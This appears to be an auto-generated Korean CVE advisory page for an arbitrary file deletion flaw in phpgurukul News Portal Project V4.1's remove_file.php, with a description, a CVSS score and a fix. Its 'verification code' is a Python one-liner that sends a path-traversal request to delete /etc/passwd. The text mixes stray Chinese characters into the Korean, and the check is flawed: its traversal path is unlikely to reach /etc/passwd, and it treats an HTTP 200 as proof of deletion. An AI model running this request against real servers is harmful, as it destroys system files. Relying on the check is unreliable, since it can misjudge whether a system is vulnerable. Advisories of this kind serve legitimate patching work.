🔍 CVE-2025-69990

9.1
CVSS Score
CRITICAL
2026-01-13
2026-01-14 16:26
✅ 완료

🇰🇷 한글 설명

phpgurukul News Portal Project V4.1에서 임의 파일 삭제 취약점이 발견되었습니다. remove_file.php 파일의 file 파라미터를 조작하여任意 파일을 삭제할 수 있습니다.

💡 쉬운 설명

phpgurukul 뉴스 포털 프로젝트의 취약점으로 인해 공격자가任意 파일을 삭제할 수 있습니다. 이는 시스템의 안정성을 위협할 수 있습니다. 프로젝트의 remove_file.php 파일에서 file 파라미터가 제대로 검증되지 않아 발생하는 취약점입니다.

🇺🇸 원문 (English)

phpgurukul News Portal Project V4.1 has an Arbitrary File Deletion Vulnerability in remove_file.php. The parameter file can cause any file to be deleted.

📍 영향받는 시스템

phpgurukul News Portal Project V4.1

⚔️ 공격 벡터

공격자가 remove_file.php 파일의 file 파라미터를 조작하여任意 파일을 삭제

🛡️ 대응 방법

phpgurukul News Portal Project의 최신 버전으로 업데이트하거나, remove_file.php 파일의 file 파라미터를 검증하는 코드를 추가하여 취약점을 패치

🔧 검증 코드

로컬에서 실행 가능한 Python 코드입니다. 이 코드는 remove_file.php 파일의 file 파라미터를 조작하여 /etc/passwd 파일을 삭제하도록 요청합니다. 응답 코드가 200이면 취약하다는 것을 의미합니다. 실행 전 로컬에서 phpgurukul News Portal Project가 설치되어야 하며, remove_file.php 파일에 접근할 수 있어야 합니다.

Shell / Script 
python -c "import requests; response = requests.get('http://localhost/remove_file.php?file=../etc/passwd'); print(response.status_code)" # 응답 코드 200이면 취약

📊 CVSS Vector String

CVSS Vector 
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

💻 영향받는 소프트웨어

PHP